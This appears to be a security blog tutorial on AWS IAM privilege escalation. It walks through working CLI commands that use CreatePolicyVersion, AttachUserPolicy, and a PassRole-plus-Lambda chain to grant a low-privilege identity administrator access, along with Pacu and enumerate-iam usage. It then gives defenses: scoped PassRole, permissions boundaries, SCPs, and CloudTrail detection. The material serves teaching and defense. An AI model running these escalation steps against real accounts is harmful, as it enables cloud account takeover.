Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively against AWS accounts you own or have explicit written permission to test. Unauthorized access to cloud resources violates the Computer Fraud and Abuse Act and equivalent laws worldwide, as well as the AWS Acceptable Use Policy.
Introduction / Overview
In AWS, the perimeter is not the network — it is IAM. A leaked access key from a public S3 bucket, a hardcoded credential in a CI pipeline, or an SSRF against an EC2 instance metadata endpoint hands an attacker a starting identity. Whether that foothold becomes a full account takeover depends entirely on the IAM permissions attached to it.
This post walks through the most reliable IAM privilege escalation primitives — iam:CreatePolicyVersion, iam:AttachUserPolicy, and the famously dangerous iam:PassRole — and shows how to enumerate them with tools like enumerate-iam. Equally important, the Detection & Defense section covers the controls that make these paths dead ends.
How it works / Background
IAM privilege escalation almost always boils down to one principle: a principal is allowed to modify, create, or assume an identity that has more permissions than itself. Rhino Security Labs originally catalogued 21+ such paths; the categories that matter most in real engagements are:
- Policy manipulation —
iam:CreatePolicyVersion,iam:SetDefaultPolicyVersion,iam:PutUserPolicy. - Identity attachment —
iam:AttachUserPolicy,iam:AttachGroupPolicy,iam:AddUserToGroup. - Credential creation —
iam:CreateAccessKey,iam:CreateLoginProfile,iam:UpdateLoginProfile. - Role abuse via PassRole —
iam:PassRolecombined with a compute service like Lambda, EC2, Glue, or CloudFormation.
iam:PassRole is the lynchpin of most chains. It does not grant anything by itself; it authorizes a principal to hand an IAM role to an AWS service. If you can pass a high-privilege role to a service you can also create or invoke (e.g. lambda:CreateFunction + lambda:InvokeFunction), the service executes your code with that role's permissions — classic confused-deputy escalation. This maps to MITRE ATT&CK T1098 (Account Manipulation) and T1078.004 (Valid Accounts: Cloud Accounts).
Prerequisites / Lab setup
Build a disposable account or use a sandbox. You need:
- The AWS CLI v2 configured with a low-privilege profile.
- A second "victim" role with
AdministratorAccessfor PassRole demos. - enumerate-iam and Pacu installed.
# Configure the foothold credentials
aws configure --profile lowpriv
# Confirm who you are
aws sts get-caller-identity --profile lowprivBashWalkthrough / PoC
Step 1 — Brute-force the permission set with enumerate-iam
When you compromise a key, you rarely know what it can do. enumerate-iam blasts hundreds of read-only/non-mutating API calls and reports which succeed:
git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam && pip install -r requirements.txt
python enumerate-iam.py \
--access-key AKIAEXAMPLE1234567890 \
--secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEYBashOutput flags every API the key can call. Watch for iam:*, lambda:CreateFunction, and iam:PassRole — those are your escalation candidates.
Step 2 — Path A: CreatePolicyVersion
If your user can call iam:CreatePolicyVersion on a managed policy that is attached to it, you can publish a new policy version granting *:* and set it as default — no iam:AttachUserPolicy required.
# Craft an admin policy document
cat > admin.json <<'EOF'
{
"Version": "2012-10-17",
"Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }]
}
EOF
# Publish it as the new DEFAULT version of an already-attached policy
aws iam create-policy-version \
--policy-arn arn:aws:iam::111122223333:policy/CICDDeployPolicy \
--policy-document file://admin.json \
--set-as-default --profile lowprivBashThe --set-as-default flag is the trick: it activates the malicious version instantly. If iam:SetDefaultPolicyVersion is denied separately, you publish the version and switch later.
Step 3 — Path B: AttachUserPolicy
Simpler still. If you hold iam:AttachUserPolicy, attach the AWS-managed AdministratorAccess policy directly to yourself:
aws iam attach-user-policy \
--user-name bob \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
--profile lowprivBashRe-run aws sts get-caller-identity and you now effectively own the account.
Step 4 — Path C: PassRole + Lambda
This is the path that survives even when direct IAM-write actions are blocked. Requirements: iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction, and a target role whose trust policy allows lambda.amazonaws.com.
# 1. Find a role you are allowed to pass (admin-grade is ideal)
aws iam list-roles --profile lowpriv \
--query 'Roles[].[RoleName,Arn]' --output table
# 2. Package code that runs under the passed role
cat > handler.py <<'EOF'
import boto3
def handler(event, context):
iam = boto3.client('iam')
return iam.attach_user_policy(
UserName='bob',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
EOF
zip function.zip handler.py
# 3. Create the function, PASSING the privileged role
aws lambda create-function \
--function-name pe \
--runtime python3.12 \
--handler handler.handler \
--zip-file fileb://function.zip \
--role arn:aws:iam::111122223333:role/LambdaAdminRole \
--profile lowpriv
# 4. Trigger it — the code runs WITH the admin role's permissions
aws lambda invoke --function-name pe out.json --profile lowprivBashPacu automates all of the above. Run its enumeration and escalation modules:
pacu
# inside the Pacu shell:
run iam__enum_permissions
run iam__privesc_scan # lists viable paths and can auto-exploitBashMermaid diagram

The diagram shows a single foothold fanning out through enumeration into three distinct escalation primitives, all converging on full account control.
Detection & Defense (Blue Team)
These paths are noisy in the right logs. Defense is a mix of least privilege and detection.
1. Constrain PassRole. Never grant iam:PassRole with Resource: "*". Scope it to a specific role ARN, and use a Condition on iam:PassedToService so the role can only be passed to the intended service:
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::111122223333:role/AppRole",
"Condition": {
"StringEquals": { "iam:PassedToService": "ec2.amazonaws.com" }
}
}JSON2. Use a Permissions Boundary. Attach an IAM permissions boundary to developer and automation principals so that even if they call AttachUserPolicy or CreatePolicyVersion, the effective permissions are capped. Boundaries are evaluated as an explicit ceiling and cannot be exceeded by added policies.
3. Service Control Policies (SCPs). At the AWS Organizations level, deny the dangerous IAM write actions (iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:CreateLoginProfile, iam:PassRole to admin roles) for everything except a tightly controlled break-glass principal.
4. Detect with CloudTrail. Every action above generates a management-event record. Build CloudWatch/Athena/GuardDuty alerts on:
CreatePolicyVersionwithsetAsDefault=trueAttachUserPolicy/AttachGroupPolicywhere the policy ARN isAdministratorAccessCreateFunctionimmediately followed byPassRoleof a privileged roleenumerate-iam-style behavior: hundreds ofAccessDeniederrors from one identity in seconds (GuardDuty findingDiscovery:IAMUser/AnomalousBehavior)
# Hunt for default-version policy swaps in CloudTrail
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=CreatePolicyVersion \
--query 'Events[].CloudTrailEvent' --output textBash5. Use IAM Access Analyzer to surface unused permissions and over-permissive policies, and rotate/disable leaked keys immediately. Enforce MFA on console logins to blunt CreateLoginProfile/UpdateLoginProfile abuse.
For broader cloud attack-surface reduction, see my notes on securing EC2 metadata against SSRF and hardening S3 bucket policies. The detection mindset overlaps heavily with building a CloudTrail threat-hunting pipeline.
Conclusion
AWS IAM privilege escalation is rarely a single exploit; it is the predictable consequence of over-broad permissions. iam:PassRole, CreatePolicyVersion, and AttachUserPolicy are the actions that turn a throwaway credential into root-of-the-account. The defensive answer is unglamorous but decisive: least privilege, permissions boundaries, SCPs, and CloudTrail alerting on the exact API calls shown above. Enumerate your own identities before an attacker does.
References
- MITRE ATT&CK — T1098 Account Manipulation: https://attack.mitre.org/techniques/T1098/
- MITRE ATT&CK — T1078.004 Valid Accounts: Cloud Accounts: https://attack.mitre.org/techniques/T1078/004/
- Rhino Security Labs — AWS IAM Privilege Escalation Methods: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- Pacu (Rhino Security Labs): https://github.com/RhinoSecurityLabs/pacu
- enumerate-iam: https://github.com/andresriancho/enumerate-iam
- HackTricks Cloud — AWS IAM Privesc: https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation
- AWS Docs — Permissions boundaries for IAM entities: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html
- AWS Docs — Granting a user permission to pass a role: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments